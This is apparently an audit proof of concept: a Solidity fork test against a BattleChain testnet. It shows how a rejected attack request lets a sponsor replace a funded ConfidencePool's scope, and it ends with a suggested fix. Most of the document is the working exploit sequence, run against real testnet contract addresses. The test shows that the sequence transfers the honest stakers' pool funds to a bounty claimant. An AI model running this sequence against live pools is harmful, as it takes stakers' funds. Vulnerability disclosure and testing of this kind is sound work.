Differential fork test on the live BattleChain testnet: a control pool and a mutated pool are funded identically; only the mutated pool undergoes the reject-then-replace sequence. Save as test/fork/RejectedRequestScopeRelockBypass.fork.t.sol and run with BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-contract RejectedRequestScopeRelockBypassForkTest -vv.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Account as AgreementAccount,
Chain as AgreementChain,
ChildContractScope
} from "@battlechain/types/AgreementTypes.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract RejectedRequestScopeRelockBypassForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;
address internal constant TEMPLATE_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
uint256 internal constant PIN_BLOCK = 16_000;
string internal constant CAIP2 = "eip155:627";
address internal originalAccount = makeAddr("relock-original-scope");
address internal breachAccount = makeAddr("relock-breach-scope");
address internal honestStaker = makeAddr("relock-honest-staker");
address internal bonusContributor = makeAddr("relock-bonus-contributor");
address internal poolModerator = makeAddr("relock-pool-moderator");
address internal whitehat = makeAddr("relock-whitehat");
address internal recovery = makeAddr("relock-recovery");
IAttackRegistry internal registry = IAttackRegistry(ATTACK_REGISTRY);
MockERC20 internal token;
ConfidencePool internal controlPool;
ConfidencePool internal mutatedPool;
address internal agreement;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
agreement = _createAgreementWithBothAccounts();
ConfidencePool impl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(impl), poolModerator))
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory initialScope = new address[](1);
initialScope[0] = originalAccount;
uint256 expiry = block.timestamp + 31 days;
vm.startPrank(SPONSOR);
controlPool = ConfidencePool(factory.createPool(agreement, address(token), expiry, 1, recovery, initialScope));
mutatedPool = ConfidencePool(factory.createPool(agreement, address(token), expiry, 1, recovery, initialScope));
vm.stopPrank();
_fund(controlPool);
_fund(mutatedPool);
}
function testRejectedRequestReopensFundedPoolScope() external {
vm.prank(SPONSOR);
mutatedPool.pause();
vm.prank(SPONSOR);
IAgreement(agreement).extendCommitmentWindow(block.timestamp + 7 days);
vm.prank(SPONSOR);
registry.requestUnderAttackForUnverifiedContracts(agreement);
assertEq(uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED));
vm.prank(honestStaker);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
mutatedPool.pokeRiskWindow();
assertFalse(mutatedPool.scopeLocked());
vm.prank(honestStaker);
vm.expectRevert(IConfidencePool.PoolPaused.selector);
mutatedPool.contributeBonus(1);
assertFalse(mutatedPool.scopeLocked());
address[] memory replacement = new address[](1);
replacement[0] = breachAccount;
vm.prank(SPONSOR);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
mutatedPool.setPoolScope(replacement);
assertFalse(mutatedPool.scopeLocked());
assertTrue(mutatedPool.isAccountInScope(originalAccount));
vm.prank(REGISTRY_MODERATOR);
registry.rejectAttackRequest(agreement, false);
assertEq(uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.NOT_DEPLOYED));
vm.prank(SPONSOR);
mutatedPool.setPoolScope(replacement);
assertFalse(mutatedPool.isAccountInScope(originalAccount));
assertTrue(mutatedPool.isAccountInScope(breachAccount));
assertTrue(controlPool.isAccountInScope(originalAccount));
vm.prank(SPONSOR);
registry.requestUnderAttackForUnverifiedContracts(agreement);
vm.prank(REGISTRY_MODERATOR);
registry.approveAttack(agreement);
controlPool.pokeRiskWindow();
mutatedPool.pokeRiskWindow();
assertTrue(controlPool.scopeLocked());
assertTrue(mutatedPool.scopeLocked());
vm.prank(REGISTRY_MODERATOR);
registry.instantCorrupt(agreement);
vm.startPrank(poolModerator);
controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
mutatedPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.stopPrank();
vm.prank(whitehat);
mutatedPool.claimAttackerBounty();
assertEq(token.balanceOf(whitehat), 200e18, "mutated-scope stakers lose the whole pool");
vm.prank(SPONSOR);
controlPool.claimSurvived();
vm.prank(honestStaker);
controlPool.claimSurvived();
assertEq(token.balanceOf(SPONSOR), 133_333333333333333333);
assertEq(token.balanceOf(honestStaker), 66_666666666666666666);
}
function _createAgreementWithBothAccounts() internal returns (address created) {
AgreementDetails memory details = IAgreement(TEMPLATE_AGREEMENT).getDetails();
details.protocolName = "relock-scope-mutation";
details.agreementURI = "ipfs://relock-scope-mutation";
details.chains = new AgreementChain[](1);
details.chains[0].caip2ChainId = CAIP2;
details.chains[0].assetRecoveryAddress = vm.toString(recovery);
details.chains[0].accounts = new AgreementAccount[](2);
details.chains[0].accounts[0] =
AgreementAccount({accountAddress: vm.toString(originalAccount), childContractScope: ChildContractScope.None});
details.chains[0].accounts[1] =
AgreementAccount({accountAddress: vm.toString(breachAccount), childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
created = IAgreementFactory(AGREEMENT_FACTORY).create(details, SPONSOR, keccak256("relock-scope-mutation"));
}
function _fund(ConfidencePool target) internal {
_stakeInto(target, SPONSOR, 100e18);
_stakeInto(target, honestStaker, 50e18);
token.mint(bonusContributor, 50e18);
vm.startPrank(bonusContributor);
token.approve(address(target), 50e18);
target.contributeBonus(50e18);
vm.stopPrank();
}
function _stakeInto(ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
}
Freeze scope on the first stake (staker reliance), removing any dependence on a later registry observation. If the post-staging policy must stay, give _observePoolState() a non-reverting way to persist the lock in ATTACK_REQUESTED so a rejected request cannot reopen a funded pool's scope.